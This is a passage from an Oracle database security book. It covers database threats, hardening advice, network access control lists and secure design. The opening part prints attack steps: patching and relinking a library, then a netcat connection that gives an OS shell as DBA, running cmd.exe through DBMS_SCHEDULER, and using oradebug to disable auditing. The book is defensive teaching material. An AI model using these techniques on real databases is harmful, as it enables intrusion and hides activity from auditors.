Now run it, as shown here: -bash-4.2$ python sntt.py sntt.o patching at addr= 18441 patching at addr= 24495 Now fetch the new script sntt.o into libntcp12.a. -bash-4.2$ ar -r libntcp12.a sntt.o After this step, you must compile the wrapper function that you have written. -bash-4.2$ gcc -c fucntion_wrapper.c Add the function wrapper to the library libntcp12.a. -bash-4.2$ ar -r libntcp12.a sntt_wrapper.c -bash-4.2$ relink all After all of this is done, do this: -bash-4.2$ nc 192.168.174.132 1521 /bin/sh uname -a Linux oracle.localhost.localdomain 4.1.12-124.26.3.el7uek. x86_64 #2 SMP Wed Mar 13 19:29:30 PDT 2019 x86_64 x86_64 GNU/ Linux Congratulations, you can run any command inside the server and get access as a DBA.

158

Chapter 4

Oracle Database Threats

 unning Operating System Commands Using R DBMS_SCHEDULER Oracle comes with a built-in package called DBMS_SCHEDULER, which provides a collection of scheduling functions and procedures that can be called from any PL/SQL program. For example, the user can run batch scripts that contain various commands. BEGIN dbms_scheduler.create_job(job_name => 'TEST', job_type => 'executable', job_action => '/home/oracle/batch.sh', enabled => TRUE, auto_drop => TRUE); END; / exec dbms_scheduler.run_job('TEST'); BEGIN SYS.DBMS_SCHEDULER.CREATE_JOB ( job_name => 'WINDOWS_job', job_type => 'EXECUTABLE', job_action => 'C:\WINDOWS\system32\cmd.exe', auto_drop => TRUE, enabled => TRUE);

Disable Audits Using Oradebug Tools Oradebug is a tool provided by Oracle that can be executed using SQL*Plus to display or dump SGA or other memory structures. There are different usages for Oradebug. In 2011, at a Hacktivity conference

159

Chapter 4

Oracle Database Threats

László Tóth presented about an undocumented bug that affected different versions of Database 11g and 12c R1 and disables auditing in Oracle Database including SYS auditing. To get the offset from the Oradebug, use this: SQL> select fsv.KSMFSNAM,sga.* from x$ksmfsv fsv, x$ksmmem sga where sga.addr=fsv.KSMFSADR and fsv.ksmfsnam like 'kzaflg_%'; KSMFSNAM ADDR            INDX INST      ID     KSMMMVAL kzaflg_ 000000005001CF0   25535 1             0000000000000001 SQL> oradebug poke 000000005001CF0 1 0 BEFORE: [05001CF0, 060031BB4) = 00000001 AFTER: [05001CF0, 060031BB4) = 00000000 Also, you can call operating system commands using Oradebug. SQL> oradebug call system 'ls -la >/home/oracle/test.txt'

Access the Operating System File System As we mentioned earlier, Oracle provides different methods for accessing the file system. Once the attacker hacks the system or the database, the first thing to do is to start examining the file system. In previous versions such as 10g, you could access the file system using UTL_FILE, but in 11g and 12c this has changed with ACLs. This was discussed earlier, but we’re mentioning it here as one of threats in case some companies or users are still using 10g as a production database. Upgrade your solution to protect yourself and your organization.

Oracle Security Recommendations The following are Oracle security recommendations.

160

Chapter 4

Oracle Database Threats

Oracle TNS Listener As you’ll notice, one of the most important components of Oracle is the Listener. Therefore, you should secure the Listener. There are a few simple steps that will improve the security for the listener.

Set the TNS LISTENER Password By default, the Listener has no password set, which means it can be administrated by anyone. To avoid this, set a password that will prevent unauthorized people from accessing the administration parts. If you have 10g or 11g R1, you have to do that. From 11g R2 on, the Listener password is deprecated. The following example for 11g R1 shows how to set the password. Edit listener.ora and add the following line. After this step, stop and restart the listener. Once you do this, the password will be encrypted. PASSWORDS_LISTENER = oracle123 LSNRCTL> set current_listener 11.1.1 Current Listener is listener LSNRCTL> change_password Old password: New password: Reenter new password: Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC) (KEY=EXTPROC0))) Password changed for listener The command completed successfully LSNRCTL> set password Password: The command completed successfully LSNRCTL> save_config

161

Chapter 4

Oracle Database Threats

Connecting to (DESCRIPTION= (ADDRESS= (PROTOCOL=IPC) (KEY=EXTPROC0))) Saved LISTENER configuration parameters. Listener Parameter File ­/u01/app/oracle/product/12.2.0/ dbhome_1/network/adminlistener.ora Old Parameter File /u01/app/oracle/product/12.2.0/dbhome_1/ network/adminlistener.bak The command completed successfully LSNRCTL>

Turn On the Admin Restriction By doing this step, you restrict the runtime administration of the listener, which prevented unauthorized people from administrating the listener remotely. To do this, simply add the following to listener.ora, and restart the listener. ADMIN_RESTRICTIONS_listenername = ON

Turn On Valid Node Checking This can be used to allow a certain number of nodes to be registered with the database server and connect to it. To do this, edit sqlnet.ora and add the following: •

12c: REGISTRATION_INVITED_NODES_listener= (IP's) REGISTRATION_INVITED_NODES_listener = (10.1.35.*)



11g: TCP.VALIDNODE_CHECKING=yes TCP.INVITED_NODES = {List of TCP.INVITED_NODES = {List of IP addresses separated by a comma}

162

Chapter 4

Oracle Database Threats

Database Accounts The simplest way to get access to any database is by guessing the username and password. Oracle provides excellent user management solutions that can be used to improve security.

Lock Unused Accounts If there are some usernames that are rarely used, then those accounts should be locked and expired to avoid any access to them.

New Account Creation To avoid creating users in the database, a company must define naming standards for the accounts that will be used. That way, the security officer will know if user has been created without permission.

Password Here are some tips for passwords: •

Change the default password. Don’t use the same password for all the accounts; always change the default password.



Enforce a password policy inside the database. Passwords should be easy to remember but difficult to guess. Oracle provides a password function under $ORACLE_HOME/rdbms/admin/utlpwdmg.sql, which enables the password complexity and specific length, which is ten characters. After the function has been enabled, it will be connected to the database’s default profile.

163

Chapter 4

Oracle Database Threats

For 12c, here are two more tips: •

ora12c_verify_function This function checks for the following requirements when users create or modify passwords:





Must be at least eight characters



Must differ by at least three characters from the old password



Must not contain the database name



Must not contain the username or reverse username



Must not contain oracle



Must not be too simple like welcome1



Must contain at least one letter



Must contain at least one digit

ora12c_strong_verify_function This provides a stronger password complexity, like the following:

164



The password must differ by at least four characters from the old password.



The password must be at least nine characters.



The password must be at least two capital letters.



The password must be at least two small letters.



The password must be at least two digits.



The password must be at least two special characters.

Chapter 4

Oracle Database Threats

To enable the previous functions, you must follow these steps: •

Run the script. @$ORACLE_HOME/rdbms/admin/ utlpwdmg.sql SQL> @$ORACLE_HOME/rdbms/admin/utlpwdmg.sql Profile altered.



Grant the user who must use this function the execute privilege on it. SQL> GRANT EXECUTE ON ora12c_verify_function TO Osama; Grant succeeded.



Test the function. SQL> create user test identified by test12#4; create user test identified by test12#4 ERROR at line 1: ORA-28003: password verification for the specified password failed ORA-20002: Password contains the username

PL/SQL Packages, Procedures, and Functions Another common attack method is SQL injection. To prevent and protect the company from this kind of the attack, always trust no one. Assume all user-submitted data is something evil so you review everything. Furthermore, don’t use dynamic SQL, and finally update and patch always.

165

Chapter 4

Oracle Database Threats

P  atching Security patches from Oracle should be applied immediately, but before doing this, always test a patch before you apply it to a production environment. The easiest way to do that is to use Enterprise Manager 13c. The DBA should be responsible for checking http://support.oracle. com regularly in case any new security patch has been released to avoid any vulnerability in the future.

Review Database Privileges Frequently One of the most common DBA responsibilities is to check database privileges and do frequent checkups to avoid any future attacks on the database, including to revoke privileges from PUBLIC where not necessary and to protect the data dictionary from unauthorized users when O7_ DICTIONARY_ACCESSIBILITY is set to FALSE.

166

CHAPTER 5

Network Access and Evaluation In this chapter, we will cover the following: •

Access control lists (ACLs)



Oracle Database Security Assessment Tool (DBSTAT)



Network evaluation tools

What Is an Access Control List? An ACL is list of permissions that are attached to specific objects and that specify that a user or system process can access that object. There are many different types of ACLs like the following: •

File system ACL



Network ACL



SQL ACL

© Osama Mustafa, Robert P. Lockard 2019 O. Mustafa and R. P. Lockard, Oracle Database Application Security, https://doi.org/10.1007/978-1-4842-5367-0_5

167

Chapter 5

Network Access and Evaluation

File System ACL A file system ACL is a virtual table that contains entries that specify individual users or groups that have access to system objects such as programs, processes, or even files. ACLs vary between vendors. In Microsoft products these entries are called access control entries (ACEs), and each ACE is called a trustee (a user account or group account) that specifies the access rights such as allowed or denied for this trustee. Also, in Windows, there is another concept called a security descriptor, which contains the information and structure associated with a securable object. This security descriptor can include the following security information: •

Security descriptor (SID): This is an ID of the owner and primary group for that object.



Discretionary access control (DACL): This specifies the access allowed or denied to that user or group.



System access control list (SAL): This generates an audit record for an object when someone attempts to access it.

In Linux, the traditional access permission for files and directories consists of a combination of read, write, and execute for the owner of the file or directory, but an ACL mechanism provides a better way to control files than the traditional way. You can start using ACLs in Linux by using this: yum install acl After installing the package, you can control and list the permissions easier than with the traditional method.

168

Chapter 5

Network Access and Evaluation

[root@testing home]# getfacl  osama/ # file: osama/ # owner: osama # group: osama user::rwx group::--other::--You can add or modify one or more rules in a file’s ACL in Linux by using the command setfcal. Here’s the syntax: # setfacl -m [rules] [files]

N  etwork ACL Another use of an access control list, but this time from a network perspective, is as a filter that enables the administrator to control routing or which packets are permitted or denied access to the network. With a network ACL, the network administrator is able to filter the traffic and add another layer of security for the network, which is the most important reason to configure ACLs (see Figure 5-1).

169

Chapter 5

Network Access and Evaluation

Figure 5-1.  Network ACL usage

SQL ACL Many modern databases like Oracle use the ACL concept to provide an extra layer of security. For example, Oracle Database 11g introduced a new security method called fine-grained access control (FGAC). In the classic method, Oracle provided different security levels, such as row-level or column-level control, but FGAC is for table data and other XML files that have access to the database. 170

Chapter 5

Network Access and Evaluation

To start working with access control lists, there are different concepts the admin should understand to avoid any implementation errors, and we will discuss them in the next section.

Access Control List Concepts In this section, we will describe several ACL concepts that are used during the implementation of ACLs, such as user, role, security, principal, and others. To secure your system, you need to know which users, applications, and functions you want to secure. After that, a new level of questions will arise. Which data can be accessed by this user? Which operations are allowed on this data? Which user can perform these operations? All the previous questions can be answered by using principals, privileges, and objects.

P  rincipals Principals can be defined as a user or role; a user can be any person or any application that has access to information in the database. A role can also be a group of users or maybe a group of roles. With the Oracle database, we have different principals such as the following: •

Database user, which is the same as a schema or account. The password will be saved inside the same database encrypted.



Application user (Oracle Fusion User) that is defined by the application itself and is not related to the database.



LDAP users. To set up this kind of user, you have to install and configure Oracle Internet Directory (OID), which will be discussed in Chapter 7. After that, it will be integrated, for example, with Active Directory. 171

Chapter 5

Network Access and Evaluation

A database role is used to grant privileges. For example, a group of privileges can be set under one role and after this can be granted to another database user. This is like a mapping between users and privileges to ease administration. In the traditional way, the role can be considered the same as a set of privileges, which leads to another concept, which is a role set. A role set is a group of roles, and these groups of roles contain active or inactive roles.

Privileges A privilege is a permission that can be granted or denied to principals. The Oracle database has different predefined privileges, such as system privileges, which can be one of the following: •

Aggregate privilege: This type can include other privileges.



Atomic privilege: This should have only one privilege.

Oracle comes with the following PL/SQL utility packages that allow Oracle access to external network services: •

utl_tcp



utl_smtp



utl_mail



utl_http



utl_inaddr

By default, the previous objects are granted to PUBLIC, but in some cases, they revoke the execute rights from PUBLIC. Therefore, the following query describes the name of the user to whom access was granted, the name of the object, the privilege on the object, and the owner of the object:

172

Chapter 5

Network Access and Evaluation

SELECT  grantee,table_name,privilege,owner FROM dba_tab_privs   WHERE table_name IN ('DBMS_DEBUG_JDWP'                       ,'DBMS_LDAP'                       ,'httpuritype'                       ,'UTL_INADDR'                       ,'UTL_HTTP'                       ,'UTL_MAIL'                       ,'UTL_SMTP'                       ,'UTL_TCP'                       ,'WWV_FLOW_WEBSERVICES_API' ); GRANTEE        TABLE_NAME     PRIVILEGE     OWNER ORDPLUGINS     UTL_HTTP      EXECUTE      SYS ORACLE_OCM     UTL_INADDR     EXECUTE      SYS Before 11g, access to network services was based on users being granted permission on one of these specific packages, but 11g introduced ACLs. Since ACLs are stored in an XML database, the administrator is able to control which user can access the network resource regardless of the package granted in the traditional way. To do this, the XML database must be installed to use ACLs. Oracle has provided packages called DBMS_ NETWORK_ACL_ADMIN and DBMS_NETWORK_ACL_UTILITY. These two packages allow ACL management using PL/SQL. With the 12c database, network access control has been implemented by Real Application Security, and anything in a 11g network ACL XML database has been migrated. Referring to Oracle support documentation ID 2078710.1, this is what happens during/after the upgrade: •

Existing network ACLs will be migrated from XDB in 11g to Real Application Security in 12c. All privileges of the existing ACLs will be preserved.



The existing ACLs will be renamed. 173

Chapter 5



Network Access and Evaluation

Mapping between the old/new names is reflected in DBA_ACL_NAME_MAP like the Oracle documentation, as Figure 5-2 shows.

Figure 5-2.  DBA_ACL_NAME_MAP table The following table shows deprecated packages that can be used in 11g but have been replaced with 12c. We are choosing to post the deprecated package to allow users to understand the difference. Procedure

Description

Add_Privilege

Add privilege/grant the network access to user

Check_privilege

Check if privilege is granted/denied to the user

Check_privilege_ACID Check if privilege is granted/denied to the user by ID Delete_privilege

Delete privilege

Assign_ACL

Assign ACL to specific network host

Create_ACL

Create an initial ACL privilege

Drop_ACL

Drop ACL

Unassign_ACL

Unassign ACL to specific network host

174

Chapter 5

Network Access and Evaluation

DBMS_NETWORK_ACL_ADMIN provides the interface for the DBA or administrator of ACL. With 12c all of the previous packages have been replaced, and now network privileges can be granted by using an access network entry to host DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE.

Working with ACLs Now we’ll cover how to work with ACLs.

Creating an ACL To implement and start using the ACL, you must do the following: 1. Create two users and grant connect privileges only. SQL>  create user osama identified by osama ; User created. SQL> create user rob identified by rob; User created. SQL> grant connect to osama; Grant succeeded. SQL> grant connect to rob; Grant succeeded. 2. After creating the Osama user, we will use DBMS_ NETWORK_ACL_ADMIN.APPEND_HOST_ACE. In this case, we will append the new ACE to the host. If there is no existing for ACE, then implicitly a new host ACL will be created, but if it already exists, the new host ACE will be appended to the existing one.

175

Chapter 5

Network Access and Evaluation

3. The following steps should be done as sys dba or at least a similar user with access to DBMS_NETWORK_ ACL_ADMIN. BEGIN   DBMS_NETWORK_ACL_ADMIN.append_host_ace (     host       => 'osamaoracle.com',     ace        => xs$ace_type(privilege_list => xs$name_list('http'),                                principal_name => 'osama',                                principal_type => ­xs_acl. ptype_db)); END;/ pl/sql procedure successfully completed The previous example will grant the connect and resolve privileges for host osamaoracle.com to osama. The following are examples of a privilege list:

176



smtp: Sends SMTP to a host via UTL_SMTP and UTL_MAIL



http: Makes an HTTP request to a host via UTL_HTTP and HttpUriType



http_proxy: Makes an HTTP request via a proxy with the UTL_HTTP and HttpUriType types



connect: Grants the user permission to connect a network service to a host



resolve: Resolves a network host name or IP address via UTL_INADDR



jdwp: Java Debug Wire Protocol debugging operations for Java or PL/SQL stored procedures

Chapter 5

Network Access and Evaluation

The principal type can be one of the following: •

XS_ACL.PTYPE_DB for database user/role



XS_ACL.PTYPE_XS for Real Application Security users

Once the host is appended, we can check the results using the DBA_ NETWORK_ACLS table and DBA_NETWORK_ACL_PRIVILEGES. (Note these views are deprecated in 12c; we’ll cover the 12c approach later in this chapter.) SELECT host, acl FROM   dba_network_acls ORDER BY host; HOST

ACL

osamaoracle.com NETWORK_ACL_8427F9B9D6E11FC7E05383AEA8C0E84C Let’s check the second view, which is DBA_NETWORK_ACL_PRIVILEGES. SELECT acl, principal, privilege, is_grant FROM dba_network_ acl_privileges; ACL

PRINCIPAL

NETWORK_ACL_8427F9B9D6E11FC7E0 OSAMA 5383AEA8C0E84C

PRIVILEGE IS_GRANT http

true

As mentioned earlier, the previous views are deprecated in 12c. We chose to mention them here just as information in case someone is still using the 11g database. With 12c, there are new views called DBA_HOST_ ACLS and DBA_HOST_ACES. Remember, the same output will be given, but with the new database versions Oracle recommends using the new views, and this what we will use here: SELECT HOST, ACL, ACLID, ACL_OWNER FROM dba_host_acls; 177

Chapter 5

Network Access and Evaluation

HOST

ACL

ACLID

ACL_OWNER

osamaoracle.com

NETWORK_ACL_842 7F9B9D6E11FC7E0 5383AEA8C0E84C

0000000080002774 SYS

Let’s check DBA_HOST_ACES. SELECT HOST,grant_type,principal,principal_type, privilege    FROM dba_host_aces; HOST

GRANT_TYPE PRINCIPAL PRINCIPAL_TYPE PRIVILEGE

osamaoracle.com GRANT

OSAMA

DATABASE

HTTP

What if we want to append another user called Rob? Another row will be inserted to the same table but with a different principal this time. BEGIN   DBMS_NETWORK_ACL_ADMIN.append_host_ace (     host       => 'osamaoracle.com',     ace        => xs$ace_type(privilege_list => xs$name_ list('http'),                               principal_name => 'rob',                                principal_type => xs_acl.ptype_db)); END;/ pl/sql procedure successfully completed SELECT HOST,grant_type,principal,principal_type, privilege    FROM dba_host_aces;

178

Chapter 5

HOST

Network Access and Evaluation

GRANT_TYPE PRINCIPAL PRINCIPAL_TYPE PRIVILEGE

osamaoracle.com GRANT

ROB

DATABASE

HTTP

Deleting an ACL The previous section showed how to append host ACEs, but what about removing them? To do this, we have to use DBMS_NETWORK_ACL_ADMIN. REMOVE_HOST_ACE, which removes privileges from access control entries. The usage for this procedure is simple, as shown in the following examples: BEGIN   DBMS_NETWORK_ACL_ADMIN.remove_host_ace (     host             => 'osamaoracle.com',     ace              => xs$ace_type(privilege_list => xs$name_ list('http'),                                     principal_name => 'ROB',                                     principal_type => xs_acl. ptype_db),     remove_empty_acl => TRUE); END;/ pl/sql procedure successfully completed If we check DBA_HOST_ACES again , you will see there is no more principal called Rob.

Creating an ACL Based on an Existing ACL Notice that every time we are trying to insert something, we are using the procedure DBMS_NETWORK_ACL_ADMIN.append_host_ace. But what if we want to insert an ACE? It’s the same as the previous one. Without repeating our work, Oracle allows us to do this and create a new ACL based on an existing ACL using DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACL. 179

Chapter 5

Network Access and Evaluation

Let’s re-create the ACL based on the Osama ACE since we deleted Rob in the previous example. To do this first, we need to know the ACL. SELECT HOST, ACL, ACLID, ACL_OWNER FROM dba_host_acls; HOST

ACL

ACLID

ACL_OWNER

osamaoracle.com NETWORK_ACL_842 0000000080002774 SYS 7F9B9D6E11FC7E0 5383AEA8C0E84C BEGIN   DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACL (     host       => 'osamaoracle.com',     lower_port => 80,     upper_port => 80,     acl        => 'NETWORK_ACL_8427F9B9D6E11FC7E05383AEA8C0E84C'); END;/ pl/sql procedure successfully completed SELECT HOST, ACL, ACLID, ACL_OWNER FROM dba_host_acls; HOST

ACL

ACLID

ACL_OWNER

osamaoracle.com NETWORK_ACL_8427 0000000080002774 SYS F9B9D6E11FC7E053 83AEA8C0E84C osamaoracle.com NETWORK_ACL_844E 00000000800027B0 SYS 021BE6E73021E053 83AEA8C064AC SELECT HOST,grant_type,principal,principal_type,privilege FROM dba_host_aces;

180

Chapter 5

HOST

Network Access and Evaluation

GRANT_TYPE PRINCIPAL PRINCIPAL_TYPE PRIVILEGE

osamaoracle.com GRANT

OSAMA

DATABASE

HTTP

osamaoracle.com GRANT

OSAMA

DATABASE

HTTP

As you see from the previous table, we have two inserted rows referring to the same principal but with different ACLIDs, so if we use the DBMS_ NETWORK_ACL_ADMIN.remove_host_ace procedure again, one will be deleted. BEGIN   DBMS_NETWORK_ACL_ADMIN.remove_host_ace (     host             => 'osamaoracle.com',     ace              => xs$ace_type(privilege_list => xs$name_list('http'),                                     principal_name => 'OSAMA',                                     principal_type => xs_acl. ptype_db),     remove_empty_acl => TRUE); END;/ pl/sql procedure successfully completed SELECT HOST, ACL, ACLID, ACL_OWNER FROM dba_host_acls; HOST

ACL

ACLID

osamaoracle.com NETWORK_ACL_844E 00000000800027B0 021BE6E73021E053 83AEA8C064AC

ACL_OWNER SYS

As you can see from the previous table, the old record has been deleted, and the new one still exists in the table. We showed this example of ACL packages so you can see how the mechanism works.

181

Chapter 5

Network Access and Evaluation

After appending the ACE for both users Osama and Rob in the previous examples, now we have to test the ACL. The user Osama has a host ACE, but the Rob user does not. What does this mean? We can check which user can call external network services and be able to access a web page.

Checking Privileges To check the privileges of the both users, you have to use the following query, which is shown in the Oracle documentation. The output for the following query shows that the Osama user has the privilege. The DOMAINS function in the DBMS_NETWORK_ACL_UTLILITY package, as you can see in the following query, returns all the domains a host belongs to. We used this function with the CHECK_PRIVILEGE_ACLID function to define the privilege that is assigned to the user so they can access the host, which is osamaoracle.com. The DOMAIN_LEVEL package returns a number, which is the level of each domain.   SELECT HOST,lower_port,upper_port,acl,DECODE (             DBMS_NETWORK_ACL_ADMIN.check_privilege_aclid (aclid,'OSAMA', 'http'),             1, 'GRANTED',             0, 'DENIED',             'DENIED')             PRIVILEGE     FROM dba_network_acls WHERE HOST IN (SELECT *                FROM TABLE (                        DBMS_NETWORK_ACL_UTILITY.domains ('osamaoracle.com'))) ORDER BY DBMS_NETWORK_ACL_UTILITY.domain_level (HOST) DESC,          lower_port,          upper_port;

182

Chapter 5

HOST

Network Access and Evaluation

LOWER_PORT UPPER_PORT ACL

osamaoracle.com 80

80

PRIVILEGE

NETWORK_ACL_8 GRANTED 427F9B9D6E11F C7E05383AEA8C 0E84C

SELECT HOST,lower_port,upper_port,acl,DECODE (             DBMS_NETWORK_ACL_ADMIN.check_privilege_aclid (aclid,'ROB', 'http'),             1, 'GRANTED',             0, 'DENIED',             'DENIED')             PRIVILEGE     FROM dba_network_acls WHERE HOST IN (SELECT *                FROM TABLE (                        DBMS_NETWORK_ACL_UTILITY.domains ('osamaoracle.com'))) ORDER BY DBMS_NETWORK_ACL_UTILITY.domain_level (HOST) DESC,          lower_port,          upper_port; HOST

LOWER_PORT UPPER_PORT ACL

osamaoracle.com 80

80

PRIVILEGE

NETWORK_ACL_8 DENIED 427F9B9D6E11F C7E05383AEA8C 0E84C

183

Chapter 5

Network Access and Evaluation

Dropping an ACL Dropping an ACL is simple. The following query allows you to list an existing *.xml file inside the database, which is important to define which one has been created by you. SELECT ANY_PATH FROM RESOURCE_VIEW WHERE ANY_PATH LIKE '/sys/acls/%.xml'; ANY_PATH /sys/acls/all_all_acl.xml

/sys/acls/all_owner_acl.xml

/sys/acls/bootstrap_acl.xml /sys/acls/ro_all_acl.xml If you need more information, you can run the following query: SELECT acl,principal,privilege,is_grant,        TO_CHAR(start_date, 'DD-MON-YYYY') AS start_date,        TO_CHAR(end_date, 'DD-MON-YYYY') AS end_date FROM   dba_network_acl_privileges;

184

Chapter 5

ACL

PRINCIPAL

Network Access and Evaluation

PRIVILEGE IS_GRANT START_ DATE

/sys/acls/ ORACLE_OCM Resolve oracle-­sysman-­ ocm-ResolveAccess.xml

True

NETWORK_ACL_8 OSAMA 5329993C275DE 4AE05383AEA8C0 76C2

true

connect

END_ DATE

Once the ACL is defined, run the following procedure: BEGIN   dbms_network_acl_admin.drop_acl(all_owner_acl.xml '); END;/ pl/sql procedure successfully completed Run the query again to make sure the ACL has been deleted and no XML still exists.

Testing an ACL Here is how to test an ACL.

Testing Using UTL_HTTP Testing the ACL will be done by a PL/SQL program called UTL_HTTP. This package allows the user to communicate with the Web (via HTTP). Ensure that the package supports Secure Sockets Layer (SSL) by allowing SSL client authentication; you do this by sending the client certificate to the remote web server.

185

Chapter 5

Network Access and Evaluation

To do the testing, the following steps should be done. First, as the SYS user, we need to grant UTL_HTTP to the Osama and Rob users. GRANT EXECUTE ON UTL_HTTP TO OSAMA, ROB; Conn Osama/Osama@orcl; DECLARE   req_host   UTL_HTTP.REQ;   resp_host  UTL_HTTP.RESP; BEGIN   req_host:= UTL_HTTP.BEGIN_REQUEST('http://osamaoracle.com');   resp_host  := UTL_HTTP.GET_RESPONSE(req_host);   UTL_HTTP.END_RESPONSE(resp_host); END; / PL/SQL procedure successfully completed. Now connect the Rob user and apply the same steps. Conn rob/rob@orcl; DECLARE   req_host   UTL_HTTP.REQ;   resp_host  UTL_HTTP.RESP; BEGIN   req_host:= UTL_HTTP.BEGIN_REQUEST('http://osamaoracle.com');   resp_host  := UTL_HTTP.GET_RESPONSE(req_host);   UTL_HTTP.END_RESPONSE(resp_host); END; / ORA-29273: ORA-06512: ORA-24247: ORA-06512: ORA-06512: ORA-06512: 186

HTTP request failed at "SYS.UTL_HTTP", line 1267 network access denied by access control list (ACL) at "SYS.UTL_HTTP", line 651 at "SYS.UTL_HTTP", line 1257 at line 6

Chapter 5

Network Access and Evaluation

In the previous example, the Osama user is able to access the web page, and the Rob user is denied by the access control list. Note that the default action for the Oracle database is to deny the access to any external network.

Testing Using UTL_SMTP Let’s take another example, but this time for UTL_SMTP, which is sending e-mails over Simple Mail Transfer Protocol (SMTP). An ACL will control how this package is used and allow a specific user to use it. First, we have to use DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE. Note that we will use the same user, which is Osama, from the previous example. BEGIN DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE ( host => 'smtp.localdomain.net', lower_port => null, upper_port => null, ace => xs$ace_type(privilege_list => xs$name_list('smtp'), principal_name => 'OSAMA', principal_type => XS_ACL.PTYPE_DB)); END;/ pl/sql procedure successfully completed select principal,host,lower_port,upper_port,privilege from dba_host_aces PRINCIPAL

HOST

osamaoracle. smtp. com localdomain.net

LOWER_PORT UPPER_PORT PRIVILEGE SMTP

The user Osama now has the privileges to send any e-mail using the SMTP server called smtp.localdomain.net. Now let’s test our work. 187

Chapter 5

Network Access and Evaluation

The following step is optional. If UTL_SMTP is not installed inside the database, you have to run utlsmtp.sql and prvtmail.plb in $ORACLE_ HOME/rdbms/admin. Conn sys/sys@orcl @$ORACLE_HOME/rdbms/admin/utlsmtp.sql @$ORACLE_HOME/rdbms/admin/prvtmail.plb GRANT EXECUTE ON utl_smtp TO OSAMA; After all the previous steps, you should have access to the database to modify the database parameter to set the smtp_out_server parameter, which will be used to send an e-mail. SQL> ALTER SYSTEM SET smtp_out_server=' smtp.localdomain.net' SCOPE=both; Conn Osama/Osama@orcl; BEGIN   send_mail_test(p_to        => '[email protected]',             p_from      => '[email protected]',             p_message   => 'This is ACL message.',             p_smtp_host => 'smtp.ourcompany.net'); END;/ pl/sql procedure successfully completed

Set Up HTTPS Using an ACL Remember that in the first example in this chapter, we accessed the web site http://OsamaOracle.com. What if you want to access this web site through HTTPS using UTL_HTTP. Is this possible? If you try to access to HTTPS web site through UTL_HTTP, the following error will be generated: 188

Chapter 5

ORA-29273: ORA-29024: ORA-06512: ORA-06512:

Network Access and Evaluation

HTTP request failed Certificate validation failure at "SYS.UTL_HTTP", line 380 at "SYS.UTL_HTTP", line 1127

In general, to set up the call for a secure web site, the following should be done: 1. Download the certificate from the web site you want to access. 2. Upload the certificate to the database server. 3. Create a wallet using Oracle tools and load the certificate inside the wallet. 4. Test the web site using UTL_HTTP.

 ownloading the Certificate from the Web Site D You Would Like to Access Let’s get started. 1. Click the lock icon and then click Certificate, as shown in Figure 5-3.

Figure 5-3.  Downloading the certification icon 189

Chapter 5

Network Access and Evaluation

2. Click the Certification Path tab and select the certification (Figure 5-4).

Figure 5-4.  Certification path 3. Once you know the certificate is OK, highlight the top-level node and click View Certificate (Figure 5-5).

190

Chapter 5

Network Access and Evaluation

Figure 5-5.  Viewing the certification

191

Chapter 5

Network Access and Evaluation

4. Click Copy to File, and choose Base-64 encoded X.509 (.CER), as shown in Figure 5-6.

Figure 5-6.  Copying the certificate file format 5. Choose a location for the file (Figure 5-7) and then click Next.

192

Chapter 5

Network Access and Evaluation

Figure 5-7.  Choosing a location to save the file 6. Click the Finish button to export the certificate, as shown in Figure 5-8.

193

Chapter 5

Network Access and Evaluation

Figure 5-8.  Exporting the certificate

Uploading the Certificate The certificate has been created; the next step is to update the certificate to the database server using any preferred way such as an FTP client.

Creating the Wallet Once this is done, we have to create the wallet and then upload the certificate to the wallet using the orapki tool. To do this, run the following commands:

194

Chapter 5

Network Access and Evaluation

orapki wallet create -wallet $ORACLE_HOME/wallet -pwd oracle123 -auto_login orapki wallet add -wallet $ORACLE_HOME/wallet -trusted_cert -cert "/home/oracle/certs/certifcate.cer" -pwd oracle123

Testing the Web Site To test our work using UTL_HTTP, we need to set up and configure an ACL for an Oracle user. After that, create a procedure to make an HTTP request. EXEC UTL_HTTP.set_wallet('file: /u01/app/oracle/product/12.2.0/ dbhome_1/wallet', 'oracle123'); EXEC show_html_from_url ('https://osamaoracle.com/', 'username', 'password');

Summary Oracle ACLs are now part of Oracle Application Security and provide an extra layer of security and control access for external networks. This feature enhances security because it restricts external network hosts and users from accessing and connecting to servers using the PL/SQL network utilities UTL_TCP, UTL_SMTP, UTL_MAIL, UTL_HTTP, UTL_INADDR, and JDWP. Otherwise, whoever gains access to a database server could attack different servers on the same network and steal data.

195

CHAPTER 6

Secure Coding and Design You need to design your system to minimize the paths to get to data, keeping only the paths that are needed. As the number of paths to your data increases, your attack surface increases. You also need to separate your data from your code. People have been putting all their code and data in one common schema for more than 30 years now, which is a problem. Additionally, a common problem is when application servers connect to the database as the schema owner. Your secure design and coding practices should always separate data from code and use the PL/SQL features that enforce secure access paths to the data. In 1988, Oracle made PL/SQL available in Oracle version 6. Yes, some of us still remember using the first version of PL/SQL. In 1992, Oracle provided the ability to create stored PL/SQL procedures and triggers in Oracle version 7. The problem is, many people are still designing database systems like it was 1992. The designs we see in our day-to-day work typically fall under one of three paradigms, all of which have some security concerns.

© Osama Mustafa, Robert P. Lockard 2019 O. Mustafa and R. P. Lockard, Oracle Database Application Security, https://doi.org/10.1007/978-1-4842-5367-0_6

197

Chapter 6

Secure Coding and Design

P  roblematic Designs Figure 6-1 is by far the most common design paradigm and problem we see in our work. The data and PL/SQL code coexists in one schema, and the user is granted execute privileges on the PL/SQL, along with select, update, insert, and delete privileges on data objects. By default, when you create a procedure, package, or function, it is created with definer’s rights, meaning the code executes with the same privileges as the schema it resides in. Because the code resides in the same schema as the tables, the code has full access to all the data in the schema. Do you see the problem here? All it takes is one SQL injection bug, and the bad guy owns your database.

User

Data and Code

Figure 6-1.  All data and code are stored in a common database schema Figure 6-2 shows the next most common design paradigm and problem that we see in our work. The data is stored in the database, and all the application code including SQL Data Manipulation Language (DML) and Data Definition Language (DML) resides outside of the database in Java, PHP, or Python. The application server connects to the database as the schema owner, so the user does not need to be granted access to the underlying data objects. Again, all it takes is one SQL injection bug, and the bad guy owns your databases. Another problem with this configuration is that the security of the application is left up to the application code.

198

Chapter 6

Secure Coding and Design

As we all know, code has bugs, and this configuration does not leverage the security mechanisms built into the database. In addition, this configuration increases the size of the attack surface. The SQL code that is stored in the application code is frequently generated using frameworks that do not optimize the amount of data that is transmitted over the network.

USER

App Server. Business Logic

Data

